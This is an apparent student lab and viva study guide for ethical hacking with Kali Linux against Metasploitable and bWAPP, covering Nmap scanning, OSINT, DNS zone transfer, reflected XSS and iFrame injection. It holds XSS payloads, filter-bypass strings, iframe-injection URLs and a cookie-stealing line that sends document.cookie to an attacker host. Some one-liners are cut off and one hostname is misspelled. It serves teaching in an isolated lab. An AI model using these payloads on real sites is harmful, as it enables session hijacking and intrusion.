



ETHICAL HACKING

Practical & Viva Guide
Kali Linux • Metasploitable • bWAPP

Practical No.	Topic
1	Open Port Detection (Nmap)
2	OS & Service Version Detection
3	Information Gathering – theHarvester
4	Domain Information – WHOIS & DNS
5	DNS Zone Transfer
6	Live Host Discovery
9	Reflected Cross-Site Scripting (XSS)
12	iFrame Injection
15	Half / Stealth Scanning (SYN Scan)

Practical 1 | Open Port Detection using Nmap

■ Aim

To discover all open ports on a target machine using Nmap tool in Kali Linux.

■ ■ Tools Used

Tool	Type	Purpose
Nmap	CLI	Most powerful – all-in-one
Netcat (nc)	CLI	Quick single port check
Metasploit	Framework	Port scan + exploit
Zenmap	GUI	Nmap with visual interface
Masscan	CLI	Ultra-fast large scans

■ Commands Used

```
nmap -sn 192.168.80.0/24 # find live hosts
nmap 192.168.80.131 # basic top-1000 scan
nmap -p- 192.168.80.131 # all 65535 ports
nmap -sS 192.168.80.131 # stealth SYN scan
nmap -sV 192.168.80.131 # service versions
nmap -A 192.168.80.131 # aggressive (all info)
nmap -A 192.168.80.131 -oN out.txt # save to file
```

■ Key Ports Found on Metasploitable (192.168.80.129)

Port	Service	Risk
21	FTP	Anonymous login possible
22	SSH	Brute-force target
23	Telnet	Plain-text – very dangerous
80	HTTP	Web attacks (bWAPP)
139/445	SMB	EternalBlue exploit
3306	MySQL	Database exposed
512-514	exec/login/shell	Remote shell access
5900	VNC	Remote desktop
6667	IRC	UnrealIRCd backdoor

■ Observation

Total ports scanned: 65535 | Open ports found: 30 | Scan time: 5.87 s

■ VIVA Questions & Answers

Q: What is Nmap?

A: Nmap (Network Mapper) is a free open-source tool for network discovery and security auditing. It scans hosts, finds open ports, detects services and OS.

Q: Difference between -sS and -sT?

A: -sS is SYN/Stealth scan – sends SYN, gets SYN-ACK, then sends RST (half-open, usually not logged). -sT completes the full 3-way handshake and is logged by the target.

Q: What does -p- mean?

A: It tells Nmap to scan all 65535 ports instead of the default top 1000.

Q: What is a SYN Stealth Scan?

A: Sends SYN → receives SYN-ACK → replies RST. Connection never completes so many services do not log it.

Q: What are open, closed, filtered ports?

A: Open = service listening. Closed = port reachable but rejected. Filtered = firewall blocking, no response.

■ One-liner: *"I ran nmap -sS -p- 192.168.80.129 and discovered 30 open ports including FTP, SSH, Telnet, MySQL and IRC backdoor on Metasploitable"*

Practical 2 | OS & Service Version Detection

Aim

To detect the Operating System and running service versions on a target machine using Nmap.

Commands Used

```
nmap -sV 192.168.80.129 # service version detection
```

```
nmap -O 192.168.80.129 # OS detection
```

```
nmap -A -v 192.168.80.129 # aggressive (OS+Version+Scripts+Traceroute)
```

```
nmap -A 192.168.80.129 -oN os_scan.txt # save results
```

Flag Reference

Flag	Full Name	What It Does
-O	OS Detection	Detects target operating system
-sV	Service Version	Finds version of each service
-A	Aggressive Scan	OS + Version + Scripts + Traceroute
-v	Verbose	Shows detailed output
--version-intensity 5	Version Intensity	0=light 9=deep version scan

Results Found on Metasploitable

Service	Version	Known Vulnerability
vsftpd	2.3.4	Backdoor – gives root shell on port 6200
OpenSSH	4.7p1	Old version – brute force possible
Apache	2.2.8	Multiple CVEs exist
MySQL	5.0.51a	No password by default
Samba	3.0.20	MS08-067 – remote code execution
OS	Linux 2.6.x	Ubuntu 8.04 – end of life

TTL Values for OS Detection

OS	Default TTL
Linux	64
Windows	128
Cisco	255

VIVA Questions & Answers

Q: How does Nmap detect the OS?

A: Nmap sends crafted TCP/UDP/ICMP packets. Each OS responds differently (TTL, window size). Nmap compares responses to its OS fingerprint database.

Q: What does -A include?

A: OS detection (-O), service version (-sV), script scanning (-sC) and traceroute (--traceroute).

Q: What is CVE?

A: Common Vulnerabilities and Exposures – a public database of known security flaws. E.g. CVE-2011-2523 is the vsftpd 2.3.4 backdoor.

Q: What is OS fingerprinting?

A: Identifying a remote OS by analysing network packet responses. Active = Nmap sends packets. Passive = just sniffing traffic.

■ One-liner: *"I used nmap -A 192.168.80.129 which detected OS as Linux 2.6.x and found vsftpd 2.3.4 with a known backdoor vulnerability."*

Practical 3 | Information Gathering using theHarvester

■ Aim

To gather OSINT information (emails, subdomains, IPs) about a target domain using theHarvester tool.

■ Installation

```
# Method 1 - APT (recommended)
sudo apt update
sudo apt install theharvester -y
theHarvester --version

# Method 2 - GitHub (latest)
cd /opt
sudo git clone https://github.com/laramies/theHarvester.git
cd theHarvester
sudo pip3 install -r requirements/base.txt
python3 theHarvester.py -h
```

■ Commands Used

```
theHarvester -d google.com -b google -l 100
theHarvester -d google.com -b bing -l 100
theHarvester -d google.com -b all -l 200
theHarvester -d google.com -b google -l 100 -f report
```

■ Flag Reference

Flag	Meaning	Example
-d	Target domain	-d google.com
-b	Data source	-b google
-l	Result limit	-l 100
-f	Save to file	-f output
-b all	All sources	Use every source

■ Available Sources

Source	Type
google / bing / yahoo / duckduckgo	Search engines
linkedin / twitter	Social/Professional
virustotal / threatminer / shodan	Security sources
dnsdumpster / crtsh	DNS sources

■ Hacking Phase

theHarvester is used in Phase 1 — Reconnaissance (Passive OSINT). It collects public information without directly contacting the target.

■ VIVA Questions & Answers

Q: What is theHarvester?

A: An open-source OSINT tool pre-installed in Kali Linux used during reconnaissance to collect emails, subdomains, hosts and IP addresses from public sources.

Q: What is OSINT?

A: Open Source Intelligence – gathering information from publicly available sources (search engines, social media, DNS records) without direct interaction with target systems.

Q: Difference between active and passive reconnaissance?

A: Passive = no direct contact (theHarvester, WHOIS) – cannot be detected. Active = direct contact (Nmap) – can be detected/logged.

Q: What is -b all?

A: Tells theHarvester to use ALL available data sources simultaneously to maximise information gathered.

■ One-liner: *"I used theHarvester -d domain.com -b google -l 100 to collect emails, subdomains and IPs as passive OSINT in the reconnaissance phase"*

Practical 4 | Domain Information – WHOIS & DNS Tools

Aim

To gather registration details, contact info and DNS records of a target domain using WHOIS and DNS tools.

Commands Used

```
# WHOIS
whois google.com
whois 192.168.80.129
whois google.com > whois_result.txt

# dig - DNS records
dig google.com # A record
dig google.com MX # mail server
dig google.com NS # name server
dig google.com ANY # all records
dig google.com +short # clean output
dig -x 8.8.8.8 # reverse lookup

# nslookup
nslookup google.com
nslookup -type=MX google.com
nslookup -type=NS google.com

# dnsenum
dnsenum google.com
dnsenum --enum google.com

# dnsrecon
dnsrecon -d google.com
dnsrecon -d google.com -t axfr

# host
host google.com
host -t MX google.com
```

DNS Record Types

Record	Full Name	Meaning
A	Address	Domain → IPv4
AAAA	IPv6 Address	Domain → IPv6
MX	Mail Exchange	Email server
NS	Name Server	DNS server
CNAME	Canonical Name	Domain alias
TXT	Text Record	SPF, verification
PTR	Pointer	IP → Domain (reverse)
SOA	Start of Authority	Zone info

WHOIS Output Fields

Field	Description
Domain Name	Registered domain

Registrar	Company that sold the domain
Creation Date	When domain was first registered
Expiry Date	When domain expires
Registrant Name/Org	Owner details
Admin Email/Phone	Contact information
Name Servers	DNS servers for the domain

■ VIVA Questions & Answers

Q: What is WHOIS?

A: A protocol to query domain registration info. Provides owner name, contact, registration/expiry dates, name servers from public registrar databases.

Q: What is DNS?

A: Domain Name System – translates domain names (google.com) to IP addresses (142.250.77.46) that computers use.

Q: What is the MX record?

A: Mail Exchange record – specifies which mail server handles emails for a domain. Useful for identifying email provider.

Q: Can WHOIS data be hidden?

A: Yes – via WHOIS Privacy Protection. The registrar replaces owner info with proxy info. Common due to GDPR regulations.

Q: What is ICANN?

A: Internet Corporation for Assigned Names and Numbers – manages domain name registrations worldwide.

■ One-liner: "I used whois + dig + dnsenum to gather domain registration details, DNS records, subdomains and IP addresses as passive reconnaissance."

Practical 5 | DNS Zone Transfer

Aim

To perform DNS Zone Transfer on a target domain and gather all DNS records including hidden subdomains and internal IPs.

What is Zone Transfer?

Zone Transfer (AXFR) copies ALL DNS records from a DNS server. If misconfigured, attackers get every hostname, IP and subdomain in one request.

Commands – dig (Easiest)

```
# Step 1 – find name servers
dig NS zonetransfer.me

# Step 2 – perform zone transfer
dig axfr zonetransfer.me @nsztm1.digi.ninja

# Step 3 – save output
dig axfr zonetransfer.me @nsztm1.digi.ninja > zone.txt
```

Commands – Other Tools

```
# dnsrecon (automated)
dnsrecon -d zonetransfer.me -t axfr

# dnsenum (auto-attempts zone transfer)
dnsenum zonetransfer.me

# nmap DNS script
nmap --script dns-zone-transfer \
--script-args dns-zone-transfer.domain=zonetransfer.me \
-p 53 nsztm1.digi.ninja

# dnswalk (add dot at end!)
dnswalk zonetransfer.me.
```

Common dnswalk Error & Fix

Wrong Command	Correct Command
dnswalk geeksforgeek.org	dnswalk geeksforgeek.org. (add dot!)

Zone Transfer Result Meaning

Result	Meaning	Security Status
Zone transfer FAILED	Server is properly secured	■ SECURE
Zone transfer SUCCESS	Server is misconfigured	■ VULNERABLE

Practice Domain

Use zonetransfer.me – a legally allowed domain specifically made for testing zone transfers.

VIVA Questions & Answers

Q: What is DNS Zone Transfer?

A: AXFR (Authoritative Full Zone Transfer) copies the complete DNS zone from primary to secondary server. If misconfigured, attackers get all DNS records.

Q: Which port does DNS use?

A: UDP 53 for normal queries. TCP 53 for zone transfers (AXFR).

Q: What does AXFR stand for?

A: Authoritative Full Zone Transfer – transfers the complete DNS zone file.

Q: How to prevent Zone Transfer attacks?

A: Allow transfers only to trusted secondary servers, use ACL on DNS server, block TCP 53 from outside via firewall, monitor DNS logs for AXFR requests.

Q: Difference between AXFR and IXFR?

A: AXFR = full zone transfer (all records). IXFR = incremental transfer (only changes since last transfer).

■ One-liner: "I used `dig axfr zonetransfer.me @nsztn1.digi.ninja` which revealed all DNS records including hidden subdomains and internal IPs due to n

Practical 6 | Live Host Discovery on Local Network

Aim

To identify all active/live hosts and their IP addresses on a local network using various scanning tools.

Commands Used

```
# Nmap ping sweep
nmap -sn 192.168.80.0/24
nmap -sn 192.168.80.0/24 | grep "Nmap scan"
nmap -sn 192.168.80.0/24 -oN live_hosts.txt

# netdiscover (ARP scan)
sudo netdiscover -r 192.168.80.0/24

# arp-scan
sudo arp-scan --localnet
sudo arp-scan 192.168.80.0/24

# fping
fping -a -g 192.168.80.0/24 2>/dev/null

# Metasploit ARP sweep
msfconsole
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.80.0/24
run
```

Your Scan Results (192.168.80.0/24)

IP Address	MAC Address	Device
192.168.80.1	00:50:56:C0:00:08	Gateway / Router
192.168.80.2	00:50:56:FA:8A:7A	VMware Device
192.168.80.129	00:0C:29:C7:B1:16	Metasploitable (Target)
192.168.80.254	00:50:56:FB:F7:AE	VMware Device
192.168.80.130	—	Kali Linux (Attacker)

Scan Statistics

Total IPs scanned: 256 | Live hosts found: 5 | Scan time: 2.92 seconds

Tool Comparison

Tool	Best Feature	Requires Root
nmap -sn	Best overall, shows MAC	No
netdiscover	Real-time ARP display	Yes
arp-scan	Fastest LAN scan	Yes
fping	Shows only alive hosts	No
Metasploit	Full pentest integration	Yes

VIVA Questions & Answers

Q: What is a live host?

A: Any device currently active and connected to the network that responds to requests like ping or ARP.

Q: What is a ping sweep?

A: Sending ICMP echo requests to multiple IPs simultaneously to find which hosts are alive. nmap -sn performs ping sweep on entire subnet.

Q: What is ARP and why use it?

A: Address Resolution Protocol maps IPs to MAC addresses. ARP scanning is more reliable than ping because firewalls often block ICMP but cannot block ARP on local network.

Q: What does /24 mean?

A: /24 = subnet mask 255.255.255.0 – scans all 256 IP addresses from .0 to .255.

Q: Why is host discovery important?

A: It is the first step in network scanning. Finding live hosts first avoids wasting time scanning dead IPs.

■ One-liner: *"I ran nmap -sn 192.168.80.0/24 and discovered 5 live hosts in 2.92 seconds including Gateway, Metasploitable, bWAPP and Kali Linux wi*

Practical 9 | Reflected Cross-Site Scripting (XSS)

Aim

To perform Reflected XSS attack on bWAPP and demonstrate script injection via URL parameter.

Target

```
URL: http://192.168.80.131/bWAPP/xss_get.php
Login: bee / bug
Navigate: Cross-Site Scripting - Reflected (GET) → Hack
```

XSS Payloads

```
# Basic alert
<script>alert('XSS')</script>

# Show cookie (important!)
<script>alert(document.cookie)</script>

# Show domain
<script>alert(document.domain)</script>

# Image tag (bypasses script filter)
<img src=x onerror=alert('XSS')>

# SVG tag
<svg onload=alert('XSS')>

# Body tag
<body onload=alert('XSS')>

# Cookie stealing
<script>new Image().src='http://192.168.80.130/?c='+document.cookie</script>
```

Direct URL Injection

```
http://192.168.80.131/bWAPP/xss_get.php?firstname=<script>alert('XSS')</script>&lastname=test&form=submit
```

Security Levels & Bypass

Security Level	Filter	Bypass Payload
Low	None	<script>alert('XSS')</script>
Medium	Blocks script tag	
High	Most tags blocked	>";><svg onload=alert(1)>

Attack Flow

1. User visits bWAPP XSS page → 2. Types XSS payload in firstname field → 3. Form submits → URL contains payload → 4. Server reflects input in HTML without sanitisation → 5. Browser executes the script → 6. Alert box pops up = XSS Successful!

VIVA Questions & Answers

Q: What is Reflected XSS?

A: Malicious script injected in URL parameter, server reflects it back without sanitisation, browser executes it. Called 'reflected' because script bounces off the server back to victim.

Q: Difference between Reflected and Stored XSS?

A: Reflected = in URL, affects only users who click the link. Stored = saved in database, affects every visitor – more dangerous.

Q: What can an attacker do with XSS?

A: Steal session cookies, redirect to malicious sites, keylogging, website defacement, bypass CSRF protection, spread malware.

Q: What is document.cookie?

A: JavaScript property containing all cookies for the current site. If stolen via XSS, attacker can hijack the session.

Q: How to prevent XSS?

A: Input validation, output encoding (< as <), Content Security Policy (CSP), HTTPOnly cookie flag to block JS access.

Q: What is Session Hijacking via XSS?

A: Attacker steals session cookie using XSS then uses it to log in as victim without knowing the password.

■ One-liner: "I injected <script>alert(document.cookie)</script> into xss_get.php on bWAPP. Server reflected it unfiltered, browser executed it"

Practical 12 | iFrame Injection

Aim

To perform iFrame injection on bWAPP by manipulating the ParamUrl parameter and loading external content.

Target URL

```
http://192.168.80.131/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250
```

Injection Methods

```
# Method 1 - Simple URL replacement
```

```
http://192.168.80.131/bWAPP/iframei.php?ParamUrl=https://example.com&ParamWidth=500&ParamHeight=500
```

```
# Method 2 - Break out and inject new iframe
```

```
http://192.168.80.131/bWAPP/iframei.php?ParamUrl=robots.txt"></iframe><iframe src="https://example.com" width="700" height="500&ParamWidth=250&ParamHeight=250
```

```
# Method 3 - URL encoded version
```

```
http://192.168.80.131/bWAPP/iframei.php?ParamUrl=robots.txt%22%3E%3C%2Fiframe%3E%3Ciframe+src%3D%22https%3A%2F%2Fexample.com%22+width%3D%22700%22+height%3D%22500
```

Why iframe May Appear Blank

Problem	Reason	Solution
Blank iframe	X-Frame-Options: DENY set	Use a site that allows framing
Refused to connect	CSP blocks embedding	Use http:// site instead
White box	HTTPS→HTTP mixed content	Use bWAPP internal pages

How to Confirm Injection Worked

Right-click → View Page Source → search for <iframe → if your URL appears there, injection was successful even if the site blocks rendering inside the frame.

VIVA Questions & Answers

Q: What is iFrame Injection?

A: An attack where unsanitised URL parameters are used to inject an iframe tag, loading attacker-controlled content inside the target web page.

Q: How does bWAPP render the iframe?

A: bWAPP takes ParamUrl and puts it directly into an HTML iframe src attribute without sanitisation, allowing injection.

Q: What can an attacker do with iFrame injection?

A: Load phishing pages, serve malware, perform clickjacking, bypass same-origin policy, steal credentials by overlaying fake login forms.

Q: What is X-Frame-Options?

A: HTTP header that controls whether a page can be embedded in an iframe. DENY = never, SAMEORIGIN = same site only, ALLOW-FROM = specific URL only.

Q: How to prevent iFrame injection?

A: Validate and whitelist URL parameters, set X-Frame-Options header, implement Content Security Policy (CSP), encode user input before rendering.

■ One-liner: "I injected an external URL into bWAPP's iframei.php ParamUrl parameter, which caused the server to embed attacker-controlled content inside the iframe."

Practical 15 | Half / Stealth Scanning (SYN Scan)

Aim

To perform a SYN Stealth (Half-Open) scan using Nmap on a target machine to discover open ports without completing the TCP handshake.

Commands Used

```
# Basic stealth scan (your command)
nmap -sS 192.168.80.131 -v

# With version detection
nmap -sS -sV 192.168.80.131

# With OS detection
nmap -sS -O -v 192.168.80.131

# Specific ports
nmap -sS -p 22,80,443,3306 192.168.80.131

# Save output
nmap -sS 192.168.80.131 -oN stealth_scan.txt
```

How Half-Open Scan Works

Step	Packet Sent	Meaning
1	SYN →	Attacker initiates connection
2	← SYN/ACK	Port is OPEN (target responds)
3	RST →	Attacker RESETS instead of completing
—	(← RST)	Port is CLOSED (target resets)

Stealth vs Full Connect Scan

Feature	-sS Stealth	-sT Full Connect
Handshake	Half (SYN only)	Full (3-way)
Target log	Usually NOT logged	Logged
Speed	Faster	Slower
Requires root	Yes	No

Your Scan Results (192.168.80.131 – bWAPP)

Port	Service	Port	Service
21	ftp	22	ssh
25	smtp	80	http
139	netbios-ssn	443	https
445	microsoft-ds	512	exec
513	login	514	shell
666	doom	3306	mysql
5901	vnc-1	6001	X11:1
8080	http-proxy	8443	https-alt

■ VIVA Questions & Answers

Q: What is a SYN Stealth Scan?

A: A port scanning method that sends SYN, receives SYN-ACK (port open) or RST (port closed), then resets with RST instead of completing the 3-way handshake. Connection never fully forms.

Q: Why is it called Half-Open?

A: Because the TCP connection is never fully established – only the first half (SYN + SYN-ACK) completes. The attacker sends RST instead of the final ACK.

Q: Why does -sS require root?

A: SYN scan requires raw socket access to craft custom TCP packets. Only root/administrator has permission to use raw sockets.

Q: What does -v flag do?

A: Verbose mode – shows detailed real-time output including each port discovered and scan progress.

Q: Nmap scan output confirmed it was stealth?

A: Yes – output line 'Initiating SYN Stealth Scan' confirms it. Also the speed (0.24s for 1000 ports) and RST packets confirm stealth mode.

■ One-liner: "I ran `nmap -sS 192.168.80.131 -v` which performed a SYN Stealth scan. Output confirmed 'Initiating SYN Stealth Scan' and discovered 17

All practicals performed on an isolated lab network. For educational purposes only.